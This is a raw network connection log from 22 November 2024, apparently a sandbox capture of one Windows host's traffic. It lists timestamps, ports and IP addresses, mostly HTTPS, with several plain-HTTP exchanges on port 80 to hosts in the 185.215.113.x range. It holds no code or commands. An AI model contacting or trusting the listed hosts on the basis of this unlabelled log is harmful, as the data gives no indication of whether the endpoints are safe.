Nov 22, 2024 14:44:05.364418030 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.365046978 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.367639065 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.367662907 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.367702961 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.367714882 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.367741108 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.367760897 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.370455027 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.370541096 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.370605946 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.370626926 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.370645046 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.370651007 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.373577118 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.373646975 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.375539064 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.375571966 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.375730991 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.376502991 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.376518011 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.384345055 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.384365082 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.384418964 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.384428978 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.384478092 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.387829065 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.387847900 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.388133049 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.388133049 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.388140917 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.388181925 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.389550924 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.389585018 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.389611959 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.389616966 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.389637947 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.389673948 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.390064955 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.390079021 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.393054008 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.393121004 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.393681049 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.393743992 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.393749952 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.393771887 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.393790960 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.393832922 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.423052073 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.423060894 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.423079967 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.423114061 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.512623072 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.512665987 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.512696028 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.512703896 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.512720108 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.512742996 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.512764931 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.512789011 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.512835979 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.513370991 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.513385057 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.515811920 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.518868923 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.518929958 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.519007921 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.519020081 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.519036055 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.519042969 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.523488998 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.523514986 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.523591995 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.523787022 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.523802042 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.574605942 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.574742079 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.574800968 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:05.579006910 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:05.579016924 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.610127926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:05.610192060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:05.620059013 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.623168945 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.623208046 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.623224020 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.623272896 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.642910004 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.642924070 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.642941952 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.642949104 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.648490906 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.648519039 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.648582935 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.648828983 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.648845911 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.651798010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:05.745160103 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.748148918 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.748198032 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.748209000 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.748285055 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.748326063 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.748342991 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.748353958 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.748362064 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.748370886 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.748374939 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.751490116 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.751517057 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.751578093 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.751813889 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.751830101 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.756009102 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:05.756026983 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:05.756078959 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:05.756494045 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:05.756506920 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:05.756894112 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:05.756916046 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:05.756963015 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:05.757194996 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:05.757209063 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:05.768080950 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:05.768120050 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:05.768172979 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:05.769094944 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:05.769107103 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:05.769167900 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:05.769181967 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:05.769186974 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:05.770226955 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:05.770237923 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:05.773523092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:05.779413939 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.782471895 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.782546043 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.782572985 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.782582998 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.782618999 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.782624006 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.789247990 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.789283037 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.789334059 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.789505005 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.789519072 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:06.085011959 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:06.085037947 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:06.085169077 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:06.085814953 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:06.085832119 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:06.119139910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:06.119338036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:06.123842955 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:06.243325949 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:06.243577957 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:06.244031906 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:06.364415884 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:06.586287975 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.586321115 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:06.586509943 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.586848974 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.586864948 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:06.916167021 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.916207075 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:06.920079947 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.927951097 CET	49951	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.927966118 CET	443	49951	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:06.928620100 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.928663969 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:06.932178020 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.933588028 CET	49952	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:06.933607101 CET	443	49952	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:07.026554108 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.032002926 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.070497990 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.086121082 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.116118908 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.116139889 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.116321087 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.116329908 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.117353916 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.117429972 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.119688034 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.119760990 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.120151043 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.120187044 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.120220900 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.120640993 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.120819092 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.167797089 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.167818069 CET	443	49944	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.167839050 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.167866945 CET	443	49943	23.44.203.77	192.168.2.6
Nov 22, 2024 14:44:07.171000004 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.186000109 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.186011076 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.190382004 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.190397978 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.222718954 CET	49944	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.224396944 CET	49943	443	192.168.2.6	23.44.203.77
Nov 22, 2024 14:44:07.312510967 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.343135118 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:07.352358103 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.352375031 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.352895975 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.352901936 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.353656054 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:07.353682995 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:07.355154991 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:07.355223894 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:07.365801096 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.366127968 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:07.366282940 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:07.370786905 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.370798111 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.371880054 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.371947050 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.388529062 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.388654947 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.416007042 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:07.416019917 CET	443	49948	23.44.203.91	192.168.2.6
Nov 22, 2024 14:44:07.427747965 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.429125071 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.429136992 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.429711103 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.429727077 CET	443	49945	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.430171013 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.430227995 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.438960075 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.439034939 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.449631929 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.457819939 CET	49948	443	192.168.2.6	23.44.203.91
Nov 22, 2024 14:44:07.472973108 CET	49945	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.478902102 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.478920937 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.479943037 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.479948997 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.504698038 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.504707098 CET	443	49946	204.79.197.219	192.168.2.6
Nov 22, 2024 14:44:07.551574945 CET	49946	443	192.168.2.6	204.79.197.219
Nov 22, 2024 14:44:07.552350044 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.552941084 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.552952051 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.553606033 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.553611040 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.604509115 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.605078936 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.605107069 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.605727911 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.605734110 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.622351885 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.625791073 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.625859976 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.625946045 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.625963926 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.625977039 CET	49939	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.625984907 CET	443	49939	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.629245996 CET	49953	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.629278898 CET	443	49953	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.629363060 CET	49953	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.629549026 CET	49953	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.629578114 CET	443	49953	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.668382883 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.668421984 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.668446064 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.668469906 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.669112921 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.669159889 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.669162989 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.669173956 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.669203043 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.669215918 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.669915915 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.669969082 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.669975996 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.669980049 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.670011997 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.670622110 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.670715094 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.670717955 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.670766115 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.758335114 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.761396885 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.761455059 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.761616945 CET	49940	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.761631012 CET	443	49940	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.765472889 CET	49954	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.765512943 CET	443	49954	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.765575886 CET	49954	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.765713930 CET	49954	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.765727043 CET	443	49954	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.788162947 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.788216114 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.788253069 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.788294077 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.792298079 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.792357922 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.794151068 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.794187069 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.794226885 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.794265032 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.814186096 CET	49955	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:07.814214945 CET	443	49955	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:07.814281940 CET	49955	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:07.814877033 CET	49955	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:07.814888954 CET	443	49955	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:07.879895926 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.879951000 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.879992008 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.880026102 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.883986950 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.884020090 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.884104967 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.892450094 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.892525911 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.892530918 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.892564058 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.900882959 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.900934935 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.900980949 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.901029110 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.906955957 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.909346104 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.909410000 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.909466982 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.909506083 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.910001993 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.910068989 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.910089016 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.910108089 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.910161018 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.910218000 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.910233974 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.910247087 CET	49941	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.910250902 CET	443	49941	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.915694952 CET	49956	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.915724993 CET	443	49956	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.915800095 CET	49956	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:07.915993929 CET	49956	443	192.168.2.6	13.107.246.63
